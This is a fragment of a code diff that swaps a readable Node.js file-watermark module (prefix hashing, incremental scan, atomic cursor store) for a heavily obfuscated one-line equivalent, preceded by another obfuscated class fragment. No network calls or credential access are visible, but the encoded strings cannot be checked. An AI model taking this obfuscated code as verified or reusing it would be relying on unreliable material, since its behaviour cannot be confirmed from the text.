_0x3d7fe7=_0x3f2421;this[_0x3d7fe7(0x1b3,'\x50\x38\x4f\x29')+_0x3d7fe7(0x1d5,'\x4e\x32\x4c\x39')]=_0x4097c3[_0x3d7fe7(0x1c7,'\x55\x69\x47\x6b')+_0x3d7fe7(0x1ce,'\x68\x71\x59\x38')]??![],this[_0x3d7fe7(0x1c5,'\x69\x4e\x71\x5e')+'\x74']=_0x4097c3['\x77\x68\x69\x74\x65\x6c\x69\x73'+'\x74']??DEFAULT_DISCOVERY_WHITELIST,this['\x70\x61\x74\x68']=_0x4097c3[_0x3d7fe7(0x1c9,'\x26\x63\x4c\x51')],this[_0x3d7fe7(0x1c4,'\x58\x36\x4e\x38')]&&existsSync(this[_0x3d7fe7(0x1b4,'\x69\x4e\x71\x5e')])&&this[_0x3d7fe7(0x1c8,'\x33\x42\x67\x40')][_0x3d7fe7(0x1cd,'\x47\x5b\x70\x5e')](...JSON[_0x3d7fe7(0x1b9,'\x33\x42\x67\x40')](readFileSync(this[_0x3d7fe7(0x1c9,'\x26\x63\x4c\x51')],_0x3d7fe7(0x1aa,'\x69\x4e\x71\x5e'))));}[_0x3f2421(0x19e,'\x5d\x33\x40\x6c')](_0x281230){const _0x4a5b12=_0x3f2421;this[_0x4a5b12(0x1bc,'\x68\x71\x59\x38')][_0x4a5b12(0x1b8,'\x2a\x57\x67\x41')](_0x281230),this[_0x4a5b12(0x1d6,'\x4d\x5a\x46\x28')]();}['\x6c\x69\x73\x74'](){const _0x5da51b=_0x3f2421;return this[_0x5da51b(0x1b5,'\x6a\x77\x31\x23')];}['\x64\x69\x73\x63\x6f\x76\x65\x72'+_0x3f2421(0x19b,'\x74\x73\x73\x4f')](){const _0x439f44=_0x3f2421;return this[_0x439f44(0x1c2,'\x4d\x5a\x46\x28')+_0x439f44(0x1b2,'\x25\x65\x35\x48')]?[...this[_0x439f44(0x1af,'\x33\x49\x78\x6b')+'\x74']]:[];}[_0x3f2421(0x1ae,'\x55\x69\x47\x6b')](){const _0x55ba28=_0x3f2421;if(!this[_0x55ba28(0x1a4,'\x78\x5d\x29\x6f')])return;mkdirSync(dirname(this[_0x55ba28(0x1c3,'\x25\x53\x23\x48')]),{'\x72\x65\x63\x75\x72\x73\x69\x76\x65':!![]}),writeFileSync(this[_0x55ba28(0x1d2,'\x2a\x5b\x57\x26')],JSON[_0x55ba28(0x1cf,'\x50\x38\x4f\x29')+'\x79'](this[_0x55ba28(0x1bf,'\x58\x36\x4e\x38')],null,-0x22b*0x11+-0x26+0x1*0x2503));}}
@@ -1,76 +1 @@
1
- import { statSync, openSync, readSync, closeSync, existsSync, readFileSync, writeFileSync, renameSync, mkdirSync } from 'node:fs';
2
- import { dirname } from 'node:path';
3
- import { createHash } from 'node:crypto';
4
- /** hash 文件前 length 字节. */
5
- function prefixHash(path, length) {
6
- const fd = openSync(path, 'r');
7
- try {
8
- const n = Math.max(0, length);
9
- const buf = Buffer.alloc(n);
10
- if (n > 0)
11
- readSync(fd, buf, 0, n, 0);
12
- return `sha256:${createHash('sha256').update(buf).digest('hex')}`;
13
- }
14
- finally {
15
- closeSync(fd);
16
- }
17
- }
18
- export function fileWatermark(path, hashBytes = 4096) {
19
- const st = statSync(path);
20
- return { path, mtime: st.mtimeMs, size: st.size, contentHash: prefixHash(path, Math.min(hashBytes, st.size)) };
21
- }
22
- /** 增量去重 (批注#15/#16): 快路径 (mtime,size,hash); 前缀完好+size 增→append 增量; 否则全量(rewrite/rename/truncate). */
23
- export function scanFile(path, prev, hashBytes = 4096) {
24
- const wm = fileWatermark(path, hashBytes);
25
- if (!prev)
26
- return { changed: true, newBytes: { start: 0, end: wm.size }, watermark: wm };
27
- if (prev.mtime === wm.mtime && prev.size === wm.size && prev.contentHash === wm.contentHash)
28
- return { changed: false, newBytes: null, watermark: wm };
29
- if (wm.size >= prev.size) {
30
- const cover = Math.min(hashBytes, prev.size);
31
- if (prev.contentHash === prefixHash(path, cover)) { // prev 前缀完好 → append
32
- const newBytes = wm.size > prev.size ? { start: prev.size, end: wm.size } : null;
33
- return { changed: newBytes !== null, newBytes, watermark: wm };
34
- }
35
- }
36
- return { changed: true, newBytes: { start: 0, end: wm.size }, watermark: wm };
37
- }
38
- export function readRange(path, start, end) {
39
- const fd = openSync(path, 'r');
40
- try {
41
- const buf = Buffer.alloc(end - start);
42
- if (buf.length > 0)
43
- readSync(fd, buf, 0, buf.length, start);
44
- return buf.toString('utf8');
45
- }
46
- finally {
47
- closeSync(fd);
48
- }
49
- }
50
- /** watermark 游标持久化. */
51
- export class WatermarkStore {
52
- path;
53
- map = new Map();
54
- constructor(path) {
55
- this.path = path;
56
- // A corrupt watermark file (crash mid-write) must NOT crash the daemon at startup: degrade to empty → re-scan
57
- // every source file. materialStore dedups by content/watermark, so a full re-scan is idempotent, not harmful.
58
- if (existsSync(path)) {
59
- try {
60
- const o = JSON.parse(readFileSync(path, 'utf8'));
61
- for (const [k, v] of Object.entries(o))
62
- this.map.set(k, v);
63
- }
64
- catch { /* corrupt watermark → start empty (idempotent re-scan) */ }
65
- }
66
- }
67
- get(filePath) { return this.map.get(filePath); }
68
- set(filePath, wm) {
69
- this.map.set(filePath, wm);
70
- mkdirSync(dirname(this.path), { recursive: true });
71
- // Atomic write: a crash mid-write keeps the previous watermark, never a truncated/corrupt file.
72
- const tmp = `${this.path}.tmp`;
73
- writeFileSync(tmp, JSON.stringify(Object.fromEntries(this.map)));
74
- renameSync(tmp, this.path);
75
- }
76
- }
1
+ const _0x513873=_0x9b4c;(function(_0x11cc85,_0x544f04){const _0x3c2fd5=_0x9b4c,_0x5289a8=_0x11cc85();while(!![]){try{const _0x20b178=-parseInt(_0x3c2fd5(0x10f,'\x46\x77\x6a\x59'))/(-0xbaa+-0xee5+0x1a90)+-parseInt(_0x3c2fd5(0x116,'\x41\x4a\x78\x68'))/(0x1edd+0x2011*0x1+0x1*-0x3eec)*(-parseInt(_0x3c2fd5(0x105,'\x30\x40\x77\x26'))/(0x92c+-0x1081+0x758))+parseInt(_0x3c2fd5(0xfe,'\x64\x50\x4f\x7a'))/(0x2*-0x4ea+0x11e5+-0x80d)*(parseInt(_0x3c2fd5(0x10b,'\x4e\x74\x43\x62'))/(-0xda4*-0x1+-0x1*-0xf5b+-0x1cfa))+-parseInt(_0x3c2fd5(0xcf,'\x33\x4b\x59\x23'))/(-0xdbe+0x7cb+0x5f9)*(parseInt(_0x3c2fd5(0xbf,'\x63\x23\x23\x21'))/(-0x2038+-0x115d+0x319c))+parseInt(_0x3c2fd5(0x107,'\x4a\x47\x38\x79'))/(-0x969+-0x13bf+0x1d30)*(parseInt(_0x3c2fd5(0xe0,'\x25\x5a\x36\x59'))/(0x17*0x2b+0x11aa+-0x157e))+parseInt(_0x3c2fd5(0xd2,'\x36\x5a\x74\x51'))/(0x3f2+0x1*-0x8c5+0x3*0x19f)+-parseInt(_0x3c2fd5(0xd8,'\x6c\x57\x79\x73'))/(0x2649+-0x3a*-0x17+-0x6*0x73e)*(parseInt(_0x3c2fd5(0xcc,'\x46\x4c\x6e\x4f'))/(0x14b*0x16+-0xb66+-0x1100));if(_0x20b178===_0x544f04)break;else _0x5289a8['push'](_0x5289a8['shift']());}catch(_0x20a472){_0x5289a8['push'](_0x5289a8['shift']());}}}(_0x314f,-0x3254*0x17+0x7ee7b+0x6895e*0x1));import{statSync,openSync,readSync,closeSync,existsSync,readFileSync,writeFileSync,renameSync,mkdirSync}from'\x6e\x6f\x64\x65\x3a\x66\x73';function _0x9b4c(_0x4d233f,_0x26d3b0){_0x4d233f=_0x4d233f-(-0x1ecb*0x1+-0x1e84+0xc9*0x4f);const _0x471fa4=_0x314f();let _0x422af8=_0x471fa4[_0x4d233f];if(_0x9b4c['\x46\x46\x45\x43\x53\x63']===undefined){var _0x3fe5a0=function(_0x53f839){const _0x52a2dc='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x1eafd3='',_0x14ff61='';for(let _0x1fade3=-0x39e*0x2+0x183d+-0x5ab*0x3,_0x107dad,_0x2cf6e1,_0x680671=0x254b*0x1+0x1919+-0x3e64;_0x2cf6e1=_0x53f839['\x63\x68\x61\x72\x41\x74'](_0x680671++);~_0x2cf6e1&&(_0x107dad=_0x1fade3%(-0x1622*0x1+0xc2d*0x3+0x3*-0x4cb)?_0x107dad*(-0x1e41+-0x113c+0x2fbd)+_0x2cf6e1:_0x2cf6e1,_0x1fade3++%(-0xb76+0xd5b*-0x2+0x2630))?_0x1eafd3+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](-0x79+0x12*-0x1fd+-0x2542*-0x1&_0x107dad>>(-(0xe61+0x2b1*-0xd+0x149e)*_0x1fade3&-0x43d+-0x143b+0x187e)):0xcba+-0x2144*-0x1+-0x2dfe){_0x2cf6e1=_0x52a2dc['\x69\x6e\x64\x65\x78\x4f\x66'](_0x2cf6e1);}for(let _0x4f7ad2=0x34*-0xbf+-0x3*-0x125+0xb*0x337,_0x1d7fc9=_0x1eafd3['\x6c\x65\x6e\x67\x74\x68'];_0x4f7ad2<_0x1d7fc9;_0x4f7ad2++){_0x14ff61+='\x25'+('\x30\x30'+_0x1eafd3['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x4f7ad2)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](-0x1*0x1139+-0x9ff*-0x3+-0xcb4))['\x73\x6c\x69\x63\x65'](-(-0x15b*0x1+0x1*-0xf9b+0x18*0xb5));}return decodeURIComponent(_0x14ff61);};const _0x4118c9=function(_0x506ef7,_0x5c3aa0){let _0x490692=[],_0x5dfcfc=-0x259*-0x7+0x126*-0x22+0x169d,_0x55617a,_0x4ae692='';_0x506ef7=_0x3fe5a0(_0x506ef7);let _0x43bd62;for(_0x43bd62=0xd7*0x1+-0x19fc+0x1925;_0x43bd62<0x1*-0xecc+0xd*0x145+-0xb5*0x1;_0x43bd62++){_0x490692[_0x43bd62]=_0x43bd62;}for(_0x43bd62=-0x11ec+0x1*-0x887+0x1a73;_0x43bd62<0xa*-0x107+-0x3*-0x886+0x262*-0x6;_0x43bd62++){_0x5dfcfc=(_0x5dfcfc+_0x490692[_0x43bd62]+_0x5c3aa0['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x43bd62%_0x5c3aa0['\x6c\x65\x6e\x67\x74\x68']))%(0x1a*0x16a+-0xb10+-0x18b4),_0x55617a=_0x490692[_0x43bd62],_0x490692[_0x43bd62]=_0x490692[_0x5dfcfc],_0x490692[_0x5dfcfc]=_0x55617a;}_0x43bd62=-0x1b7b+-0x1*-0x253f+-0x14*0x7d,_0x5dfcfc=-0x733*0x5+0x78c+-0x1c73*-0x1;for(let _0x545b2e=0x291+0x16e0+0xa7*-0x27;_0x545b2e<_0x506ef7['\x6c\x65\x6e\x67\x74\x68'];_0x545b2e++){_0x43bd62=(_0x43bd62+(0x1a2c+0x57*-0x6+-0x80b*0x3))%(0x1036*0x1+-0xb*0x141+-0x16b),_0x5dfcfc=(_0x5dfcfc+_0x490692[_0x43bd62])%(0x1822+0x172e+-0x390*0xd),_0x55617a=_0x490692[_0x43bd62],_0x490692[_0x43bd62]=_0x490692[_0x5dfcfc],_0x490692[_0x5dfcfc]=_0x55617a,_0x4ae692+=String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](_0x506ef7['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x545b2e)^_0x490692[(_0x490692[_0x43bd62]+_0x490692[_0x5dfcfc])%(0x1d0+-0x37a*0x1+-0x1f*-0x16)]);}return _0x4ae692;};_0x9b4c['\x51\x53\x68\x43\x42\x70']=_0x4118c9,_0x9b4c['\x45\x56\x71\x4b\x53\x6f']={},_0x9b4c['\x46\x46\x45\x43\x53\x63']=!![];}const _0xe7d799=_0x471fa4[-0x1*-0x1aeb+-0x17*-0x77+-0x259c],_0x169b1d=_0x4d233f+_0xe7d799,_0x3c0ff2=_0x9b4c['\x45\x56\x71\x4b\x53\x6f'][_0x169b1d];return!_0x3c0ff2?(_0x9b4c['\x72\x64\x74\x4f\x59\x69']===undefined&&(_0x9b4c['\x72\x64\x74\x4f\x59\x69']=!![]),_0x422af8=_0x9b4c['\x51\x53\x68\x43\x42\x70'](_0x422af8,_0x26d3b0),_0x9b4c['\x45\x56\x71\x4b\x53\x6f'][_0x169b1d]=_0x422af8):_0x422af8=_0x3c0ff2,_0x422af8;}import{dirname}from'\x6e\x6f\x64\x65\x3a\x70\x61\x74\x68';import{createHash}from'\x6e\x6f\x64\x65\x3a\x63\x72\x79\x70\x74\x6f';function prefixHash(_0x21bb41,_0x439063){const _0x1fcb55=_0x9b4c,_0x4a5997=openSync(_0x21bb41,'\x72');try{if(_0x1fcb55(0xfa,'\x4a\x7a\x34\x72')!==_0x1fcb55(0x112,'\x41\x4a\x78\x68')){const _0x1bc7c1=_0x968841[_0x1fcb55(0x10a,'\x26\x79\x57\x28')](0x250+-0x24f5+-0xb5*-0x31,_0x4d2796),_0x19a283=_0x442873[_0x1fcb55(0xec,'\x33\x4b\x59\x23')](_0x1bc7c1);if(_0x1bc7c1>0x2*0x185+-0x157f+0x1275)_0x5e8a1b(_0x5058d2,_0x19a283,0x2497+0x44c+0x48b*-0x9,_0x1bc7c1,-0x1*-0x1e7+0x1*-0xd89+0xba2);return _0x1fcb55(0xc2,'\x7a\x4a\x33\x6c')+_0x413d7c(_0x1fcb55(0x106,'\x5b\x47\x40\x63'))[_0x1fcb55(0x111,'\x66\x64\x6c\x59')](_0x19a283)['\x64\x69\x67\x65\x73\x74'](_0x1fcb55(0x10e,'\x45\x65\x67\x55'));}else{const _0x3ac2fe=Math['\x6d\x61\x78'](0x14d8+0x5*0x18b+-0x985*0x3,_0x439063),_0x26b89d=Buffer[_0x1fcb55(0xbd,'\x29\x66\x38\x73')](_0x3ac2fe);if(_0x3ac2fe>0x1*-0x23a5+0x13ac+-0x553*-0x3)readSync(_0x4a5997,_0x26b89d,0xb8+0x1719+0x1d5*-0xd,_0x3ac2fe,0x1*0x9aa+-0x20cc+0x1722);return _0x1fcb55(0xf0,'\x4a\x7a\x34\x72')+createHash('\x73\x68\x61\x32\x35\x36')[_0x1fcb55(0xeb,'\x55\x38\x5b\x42')](_0x26b89d)[_0x1fcb55(0x101,'\x5e\x41\x50\x4e')](_0x1fcb55(0xf4,'\x64\x50\x4f\x7a'));}}finally{if(_0x1fcb55(0xc6,'\x58\x5e\x6a\x51')===_0x1fcb55(0xfd,'\x72\x51\x5a\x6c'))closeSync(_0x4a5997);else{const _0x2dc3ce=_0x4d243b(_0x4bfa81,'\x72');try{const _0x311d1e=_0x3e91[_0x1fcb55(0xcd,'\x41\x4a\x78\x68')](_0x349730-_0x31bdf5);if(_0x311d1e[_0x1fcb55(0xf3,'\x33\x56\x35\x30')]>0x319+-0x943+-0x315*-0x2)_0x37e728(_0x2dc3ce,_0x311d1e,-0xee3+0x1e5c+0x11*-0xe9,_0x311d1e[_0x1fcb55(0xda,'\x64\x55\x23\x62')],_0x178e64);return _0x311d1e['\x74\x6f\x53\x74\x72\x69\x6e\x67'](_0x1fcb55(0xe7,'\x42\x4d\x68\x66'));}finally{_0x508b47(_0x2dc3ce);}}}}export function fileWatermark(_0x2b12d2,_0x271af0=-0x15d+-0x5ea+-0x1*-0x1747){const _0x214b6f=_0x9b4c,_0x5caec0=statSync(_0x2b12d2);return{'\x70\x61\x74\x68':_0x2b12d2,'\x6d\x74\x69\x6d\x65':_0x5caec0[_0x214b6f(0xf1,'\x4e\x56\x52\x4d')],'\x73\x69\x7a\x65':_0x5caec0[_0x214b6f(0x103,'\x4a\x47\x38\x79')],'\x63\x6f\x6e\x74\x65\x6e\x74\x48\x61\x73\x68':prefixHash(_0x2b12d2,Math[_0x214b6f(0xed,'\x25\x5a\x36\x59')](_0x271af0,_0x5caec0[_0x214b6f(0x10d,'\x5d\x6b\x69\x23')]))};}function _0x314f(){const _0xa49a13=['\x7a\x43\x6b\x59\x66\x32\x4a\x63\x47\x72\x43\x56\x57\x50\x65\x6e\x57\x37\x48\x56\x67\x47','\x66\x38\x6f\x64\x57\x35\x57','\x61\x62\x69\x53\x57\x34\x6d\x65','\x6e\x38\x6f\x69\x68\x43\x6f\x57\x57\x50\x74\x63\x4d\x4c\x62\x49\x61\x72\x58\x68\x57\x37\x69','\x64\x71\x78\x63\x4b\x61','\x57\x52\x42\x64\x4a\x66\x4f','\x57\x35\x5a\x64\x54\x47\x4e\x64\x56\x47','\x57\x37\x66\x37\x45\x6d\x6f\x4f\x69\x38\x6b\x6d\x66\x61','\x6a\x71\x6c\x64\x55\x43\x6b\x77\x44\x43\x6f\x47','\x6b\x48\x38\x77','\x57\x4f\x6e\x42\x71\x74\x4b','\x61\x73\x46\x64\x54\x68\x79','\x57\x51\x4e\x63\x53\x32\x50\x2f\x63\x71','\x45\x43\x6b\x46\x45\x6d\x6b\x41','\x57\x36\x4e\x63\x55\x43\x6f\x78\x75\x65\x75','\x57\x51\x68\x63\x51\x4e\x76\x59\x6c\x71','\x6e\x62\x56\x64\x55\x53\x6b\x73\x43\x53\x6f\x58','\x79\x38\x6f\x49\x6f\x38\x6f\x56\x57\x35\x6e\x30\x6c\x31\x4b\x53\x57\x37\x35\x77\x57\x51\x4f','\x67\x43\x6b\x55\x57\x52\x4f\x76','\x57\x36\x6c\x64\x51\x6d\x6b\x33\x46\x6d\x6b\x77','\x57\x34\x64\x63\x4f\x43\x6f\x2f\x57\x4f\x5a\x63\x56\x65\x79\x50','\x67\x4e\x48\x68\x6a\x71','\x57\x52\x66\x72\x57\x4f\x7a\x43\x79\x38\x6f\x34\x57\x35\x61\x77\x57\x36\x78\x64\x49\x43\x6f\x4c\x79\x71','\x57\x37\x64\x64\x52\x43\x6b\x48\x44\x47','\x44\x43\x6b\x73\x74\x6d\x6f\x67\x57\x4f\x61','\x57\x4f\x47\x57\x6d\x75\x2f\x64\x4f\x53\x6b\x41\x57\x35\x4b','\x43\x5a\x4b\x42\x77\x71','\x70\x43\x6f\x2b\x57\x51\x43','\x57\x37\x64\x64\x4f\x43\x6b\x56','\x57\x35\x72\x2f\x57\x4f\x53','\x57\x35\x6c\x64\x4b\x53\x6b\x4e\x57\x34\x42\x63\x55\x38\x6b\x5a\x57\x35\x6a\x36\x73\x71','\x7a\x6d\x6b\x75\x73\x6d\x6b\x53\x57\x34\x71','\x57\x37\x6c\x63\x4f\x6d\x6f\x59','\x57\x52\x4f\x43\x57\x52\x58\x4d\x57\x34\x6c\x63\x56\x38\x6b\x35','\x57\x37\x4e\x64\x55\x33\x71\x37','\x64\x31\x2f\x63\x4c\x49\x6d\x71','\x79\x62\x4c\x58\x77\x43\x6f\x50\x57\x50\x47\x56\x57\x35\x30\x72\x44\x6d\x6b\x42\x43\x38\x6b\x4e','\x57\x34\x64\x63\x4f\x43\x6f\x2f\x57\x4f\x5a\x63\x56\x65\x79','\x46\x38\x6b\x63\x7a\x6d\x6f\x68','\x74\x76\x46\x63\x4b\x5a\x69','\x6d\x47\x37\x64\x51\x47','\x6e\x73\x74\x64\x4c\x53\x6f\x71\x68\x43\x6b\x33\x57\x51\x48\x5a','\x57\x36\x42\x63\x4a\x47\x52\x64\x50\x53\x6f\x65\x6b\x6d\x6f\x63\x57\x51\x6c\x64\x51\x53\x6f\x2b\x77\x6d\x6b\x4b\x41\x47','\x6e\x38\x6f\x36\x57\x51\x6d','\x6c\x5a\x30\x42\x57\x36\x53\x79\x74\x71','\x74\x43\x6b\x77\x62\x47','\x46\x6d\x6b\x6b\x41\x53\x6f\x6b','\x65\x38\x6f\x64\x57\x34\x4f\x77\x57\x52\x35\x55','\x42\x53\x6f\x2b\x72\x38\x6f\x56\x68\x62\x78\x63\x50\x38\x6b\x4b','\x64\x33\x44\x68\x70\x38\x6f\x67\x57\x51\x43\x63','\x57\x35\x30\x2f\x57\x36\x56\x64\x4b\x6d\x6f\x38\x57\x34\x78\x63\x47\x67\x33\x63\x4d\x78\x57','\x57\x37\x70\x63\x51\x77\x2f\x63\x4a\x43\x6f\x50','\x57\x4f\x6c\x64\x55\x43\x6b\x4d\x57\x4f\x46\x63\x56\x58\x6a\x44\x57\x35\x6a\x30\x57\x51\x70\x63\x4c\x61','\x6a\x4e\x37\x63\x53\x71','\x57\x36\x6a\x79\x57\x50\x50\x44\x46\x43\x6b\x31\x57\x34\x38','\x57\x51\x4e\x63\x4f\x32\x4f','\x6b\x4a\x52\x64\x47\x67\x38','\x76\x43\x6b\x64\x65\x68\x38','\x57\x4f\x30\x35\x57\x35\x52\x64\x4c\x38\x6f\x6e\x57\x51\x48\x4e\x66\x38\x6f\x52\x57\x36\x52\x64\x4c\x53\x6f\x56\x6f\x47','\x44\x4c\x68\x63\x51\x58\x61\x6a\x57\x4f\x52\x64\x4e\x57','\x57\x51\x74\x64\x51\x4d\x30','\x44\x49\x47\x6c\x75\x65\x37\x63\x49\x71','\x57\x36\x30\x41\x57\x52\x54\x64\x57\x35\x75','\x57\x4f\x66\x4d\x57\x52\x30','\x57\x51\x46\x63\x4f\x32\x30','\x71\x33\x42\x63\x55\x73\x33\x64\x4e\x61\x2f\x64\x51\x4b\x53\x6d\x57\x4f\x7a\x32\x57\x34\x4f','\x79\x75\x74\x63\x53\x65\x58\x42\x74\x68\x71','\x57\x36\x37\x63\x56\x68\x74\x63\x4b\x38\x6f\x50\x57\x50\x46\x63\x52\x57','\x57\x36\x78\x63\x55\x33\x57\x69\x77\x77\x57\x33\x70\x47','\x79\x43\x6f\x30\x72\x38\x6f\x38\x64\x72\x6d','\x57\x50\x48\x78\x71\x57','\x6e\x38\x6b\x2b\x45\x6d\x6b\x51\x57\x4f\x57\x4c\x70\x47','\x6d\x4d\x54\x44\x76\x4b\x2f\x63\x56\x64\x64\x64\x49\x75\x34','\x74\x43\x6b\x45\x67\x61','\x6e\x6d\x6f\x6a\x68\x6d\x6f\x32\x57\x50\x64\x63\x4b\x61\x76\x7a\x6a\x59\x50\x48\x57\x34\x52\x64\x54\x57','\x57\x35\x44\x44\x68\x6d\x6b\x77\x57\x37\x57','\x72\x31\x42\x63\x4c\x57\x38\x63','\x65\x61\x78\x63\x4d\x53\x6b\x4a\x70\x47','\x46\x4b\x4e\x63\x56\x58\x4b\x41\x65\x47','\x57\x36\x52\x63\x51\x53\x6f\x69\x46\x4d\x4f','\x57\x34\x48\x2f\x46\x48\x4a\x64\x48\x43\x6f\x74\x64\x61','\x57\x37\x70\x63\x4c\x38\x6b\x6d','\x76\x75\x6c\x63\x48\x71','\x57\x36\x54\x66\x57\x50\x72\x76\x41\x38\x6b\x6d','\x57\x34\x6c\x64\x51\x58\x52\x64\x54\x53\x6b\x6d','\x65\x57\x33\x63\x4b\x53\x6b\x31','\x6a\x58\x4e\x64\x53\x43\x6b\x45\x71\x38\x6f\x36\x76\x49\x53','\x43\x31\x2f\x64\x55\x38\x6b\x57\x41\x38\x6f\x72\x76\x74\x43','\x57\x36\x71\x54\x64\x59\x6e\x77\x57\x4f\x75','\x75\x76\x74\x64\x4b\x6d\x6f\x50\x42\x73\x31\x32\x6d\x31\x56\x63\x4b\x68\x4b','\x6f\x43\x6f\x30\x57\x52\x31\x6d\x57\x36\x58\x39\x57\x34\x39\x6c','\x42\x53\x6b\x49\x57\x36\x75\x6d\x57\x52\x62\x59\x57\x37\x4c\x52\x57\x36\x33\x63\x49\x6d\x6f\x65','\x68\x63\x46\x64\x55\x61','\x57\x52\x6c\x63\x54\x6d\x6f\x49\x69\x53\x6f\x65\x57\x36\x4c\x6d\x6f\x43\x6b\x38\x41\x53\x6b\x30\x64\x71','\x45\x6d\x6f\x31\x57\x50\x71\x42','\x6a\x4e\x6c\x63\x56\x59\x75','\x57\x35\x35\x75\x63\x61','\x57\x34\x6e\x42\x57\x50\x2f\x64\x55\x61\x5a\x64\x52\x43\x6b\x4e\x57\x37\x39\x37\x69\x6d\x6f\x6b','\x57\x37\x4b\x63\x57\x52\x65\x75','\x57\x35\x52\x64\x52\x58\x46\x64\x55\x53\x6b\x44\x69\x47','\x75\x6d\x6b\x63\x79\x53\x6b\x59\x57\x34\x53'];_0x314f=function(){return _0xa49a13;};return _0x314f();}export function scanFile(_0x46bce4,_0x4a5b80,_0x43e504=-0x1607*-0x1+0x245a+-0x2a61){const _0x58aebc=_0x9b4c,_0x1c5ab1=fileWatermark(_0x46bce4,_0x43e504);if(!_0x4a5b80)return{'\x63\x68\x61\x6e\x67\x65\x64':!![],'\x6e\x65\x77\x42\x79\x74\x65\x73':{'\x73\x74\x61\x72\x74':0x0,'\x65\x6e\x64':_0x1c5ab1[_0x58aebc(0xb8,'\x64\x50\x4f\x7a')]},'\x77\x61\x74\x65\x72\x6d\x61\x72\x6b':_0x1c5ab1};if(_0x4a5b80[_0x58aebc(0x102,'\x66\x64\x6c\x59')]===_0x1c5ab1[_0x58aebc(0x102,'\x66\x64\x6c\x59')]&&_0x4a5b80[_0x58aebc(0xd4,'\x58\x5e\x6a\x51')]===_0x1c5ab1[_0x58aebc(0x10c,'\x52\x61\x2a\x5a')]&&_0x4a5b80['\x63\x6f\x6e\x74\x65\x6e\x74\x48'+_0x58aebc(0xce,'\x72\x51\x5a\x6c')]===_0x1c5ab1[_0x58aebc(0xde,'\x33\x56\x35\x30')+_0x58aebc(0xcb,'\x35\x40\x41\x79')])return{'\x63\x68\x61\x6e\x67\x65\x64':![],'\x6e\x65\x77\x42\x79\x74\x65\x73':null,'\x77\x61\x74\x65\x72\x6d\x61\x72\x6b':_0x1c5ab1};if(_0x1c5ab1[_0x58aebc(0x119,'\x66\x64\x6c\x59')]>=_0x4a5b80[_0x58aebc(0xc0,'\x5a\x38\x39\x21')]){const _0x4ec5da=Math[_0x58aebc(0xf7,'\x42\x4d\x68\x66')](_0x43e504,_0x4a5b80[_0x58aebc(0x10d,'\x5d\x6b\x69\x23')]);if(_0x4a5b80[_0x58aebc(0x108,'\x77\x53\x31\x5b')+_0x58aebc(0x118,'\x6c\x57\x79\x73')]===prefixHash(_0x46bce4,_0x4ec5da)){if(_0x58aebc(0xd1,'\x46\x40\x38\x55')!=='\x41\x6d\x70\x7a\x54'){const _0x79fd01=_0x1c5ab1['\x73\x69\x7a\x65']>_0x4a5b80[_0x58aebc(0xc5,'\x4e\x74\x43\x62')]?{'\x73\x74\x61\x72\x74':_0x4a5b80['\x73\x69\x7a\x65'],'\x65\x6e\x64':_0x1c5ab1[_0x58aebc(0x103,'\x4a\x47\x38\x79')]}:null;return{'\x63\x68\x61\x6e\x67\x65\x64':_0x79fd01!==null,'\x6e\x65\x77\x42\x79\x74\x65\x73':_0x79fd01,'\x77\x61\x74\x65\x72\x6d\x61\x72\x6b':_0x1c5ab1};}else{const _0x2529c6=_0x4ac724(_0x7ea810);return{'\x70\x61\x74\x68':_0x27b483,'\x6d\x74\x69\x6d\x65':_0x2529c6[_0x58aebc(0xe4,'\x5e\x41\x50\x4e')],'\x73\x69\x7a\x65':_0x2529c6['\x73\x69\x7a\x65'],'\x63\x6f\x6e\x74\x65\x6e\x74\x48\x61\x73\x68':_0x562f7(_0x33e0f0,_0x58c66b[_0x58aebc(0xff,'\x46\x49\x4a\x65')](_0x44a5bb,_0x2529c6[_0x58aebc(0xe6,'\x44\x32\x40\x4c')]))};}}}return{'\x63\x68\x61\x6e\x67\x65\x64':!![],'\x6e\x65\x77\x42\x79\x74\x65\x73':{'\x73\x74\x61\x72\x74':0x0,'\x65\x6e\x64':_0x1c5ab1['\x73\x69\x7a\x65']},'\x77\x61\x74\x65\x72\x6d\x61\x72\x6b':_0x1c5ab1};}export function readRange(_0x332316,_0x16286b,_0x3e9b4c){const _0x20cc06=_0x9b4c,_0x58fbd6=openSync(_0x332316,'\x72');try{if(_0x20cc06(0xba,'\x29\x66\x38\x73')!==_0x20cc06(0x115,'\x64\x55\x23\x62')){const _0x3ae474=Buffer[_0x20cc06(0xc1,'\x4e\x74\x43\x62')](_0x3e9b4c-_0x16286b);if(_0x3ae474[_0x20cc06(0xdd,'\x52\x62\x40\x56')]>0x299*0xa+-0x300+0xb7d*-0x2)readSync(_0x58fbd6,_0x3ae474,-0x1e8e+0x34*0xa7+0x35e*-0x1,_0x3ae474[_0x20cc06(0xfc,'\x4a\x7a\x34\x72')],_0x16286b);return _0x3ae474['\x74\x6f\x53\x74\x72\x69\x6e\x67'](_0x20cc06(0xbb,'\x58\x5e\x6a\x51'));}else{this[_0x20cc06(0xc3,'\x68\x77\x5b\x5e')]=_0x5c3aa0;if(_0x490692(_0x5dfcfc))try{const _0x32e715=_0x50e45b[_0x20cc06(0xe1,'\x4e\x56\x52\x4d')](_0x25ecd1(_0x756730,_0x20cc06(0x110,'\x33\x4b\x59\x23')));for(const [_0x4bf171,_0x4dbfe6]of _0x5b9384[_0x20cc06(0xf5,'\x63\x23\x23\x21')](_0x32e715))this[_0x20cc06(0xdb,'\x42\x4d\x68\x66')][_0x20cc06(0xd6,'\x30\x40\x77\x26')](_0x4bf171,_0x4dbfe6);}catch{}}}finally{closeSync(_0x58fbd6);}}export class WatermarkStore{[_0x513873(0xc8,'\x55\x38\x5b\x42')];[_0x513873(0x11c,'\x76\x71\x6b\x36')]=new Map();constructor(_0x334d94){const 